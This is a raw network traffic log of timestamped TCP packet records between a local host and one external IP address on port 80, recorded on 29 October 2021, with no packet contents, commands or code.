Oct 29, 2021 20:29:57.503984928 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.503990889 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.504065990 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.504070044 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.504089117 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.504106045 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.504122972 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.504137993 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.504158974 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.504158974 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.504184961 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.504920959 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.555171013 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555217981 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555392981 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555449963 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.555469990 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555545092 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555553913 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.555596113 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555656910 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555711031 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555720091 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.555763006 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555821896 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555857897 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.555875063 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555916071 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555979013 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.555982113 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.555989027 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556032896 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556086063 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556134939 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556171894 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556224108 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556283951 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556325912 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556358099 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556395054 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556456089 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556493044 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556519985 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556551933 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556615114 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556662083 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556680918 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556749105 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556767941 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556792021 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556879997 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.556881905 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.556947947 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557008982 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557059050 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557090044 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557105064 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557145119 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557179928 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557233095 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557250023 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557295084 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557339907 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557375908 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557384968 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557430029 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557439089 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557466030 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557498932 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557557106 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557569981 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557605982 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557622910 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557653904 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557693958 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557723045 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557744026 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557782888 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557822943 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557852983 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557873964 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.557903051 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.557919025 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.558173895 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610052109 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610090017 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610119104 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610153913 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610157013 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610183001 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610200882 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610230923 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610254049 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610269070 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610282898 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610285997 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610311985 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610363007 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610368013 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610384941 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610405922 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610433102 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610459089 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610460043 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610487938 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610517025 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610529900 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610529900 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610559940 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610582113 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610588074 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610615969 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610630035 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610635996 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610656977 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610681057 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610681057 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610709906 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610733986 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610821962 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610841990 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610841990 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610867977 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610888958 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.610960960 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.610980034 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611000061 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611026049 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611046076 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611071110 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611093044 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611146927 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611169100 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611198902 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611222982 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611243010 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611244917 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611268997 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611289978 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611310005 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611314058 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611332893 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611335039 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611355066 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611373901 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611392975 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611412048 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611417055 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611430883 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611447096 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611462116 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611567974 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.611768961 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611814976 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.611902952 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662307978 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662342072 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662363052 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662379026 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662492990 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662494898 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662523985 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662549973 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662571907 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662575006 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662596941 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662599087 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662619114 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662628889 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662642956 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662666082 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662667990 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662693977 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662719011 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662719011 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662741899 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662765026 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662769079 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662792921 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662815094 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662828922 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662834883 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662858963 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662880898 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662879944 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662903070 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.662919998 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662949085 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.662985086 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663007021 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663031101 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663052082 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663069010 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663104057 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663105965 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663129091 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663151026 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663175106 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663193941 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663225889 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663227081 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663244009 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663259983 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663276911 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663297892 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663332939 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663781881 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663815022 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663836956 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663857937 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663876057 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663892031 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663911104 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.663913965 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663938046 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.663960934 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.664002895 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.664024115 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.664035082 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.664041996 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.664062977 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:57.664093018 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.664378881 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.664428949 CEST	49790	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:57.716480017 CEST	80	49790	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:59.876559019 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:59.928339005 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:59.928481102 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:59.928647041 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:59.928666115 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.007153034 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.007261992 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.026011944 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.081218004 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.315629005 CEST	49792	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.367367029 CEST	80	49792	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.368742943 CEST	49792	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.368861914 CEST	49792	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.368868113 CEST	49792	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.448647976 CEST	80	49792	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.449955940 CEST	49792	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.454284906 CEST	49792	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.496030092 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.505950928 CEST	80	49792	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.549293041 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.549489975 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.549640894 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.644869089 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702553034 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702589989 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702613115 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702634096 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702653885 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702678919 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.702702999 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702725887 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702745914 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702768087 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702780962 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.702804089 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.702812910 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.702851057 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.755817890 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.755862951 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.755917072 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.755927086 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.755970001 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.756038904 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.756058931 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.756098986 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.756139040 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.756165028 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.756191969 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.756247044 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.759030104 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759135008 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759191990 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759207964 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.759248972 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759305000 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.759308100 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759368896 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759419918 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759432077 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.759479046 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759527922 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.759538889 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759598970 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759654045 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759655952 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.759715080 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.759874105 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.809672117 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809695959 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809717894 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809741974 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809765100 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809787035 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.809788942 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809813976 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809838057 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809860945 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809881926 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.809883118 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809890032 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.809906006 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809930086 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809932947 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.809952974 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809967041 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.809977055 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.809999943 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.810013056 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.810029984 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.810110092 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.812814951 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.812843084 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.812882900 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.812906981 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.812949896 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.812973976 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.812988043 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.812994957 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.813019037 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.813034058 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.813066959 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.813139915 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.813158989 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.813220978 CEST	49793	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:30:00.844769955 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.844794989 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.844810963 CEST	80	49793	185.98.87.159	192.168.2.7
Oct 29, 2021 20:30:00.844831944 CEST	80	49793	185.98.87.159	192.168.2.7
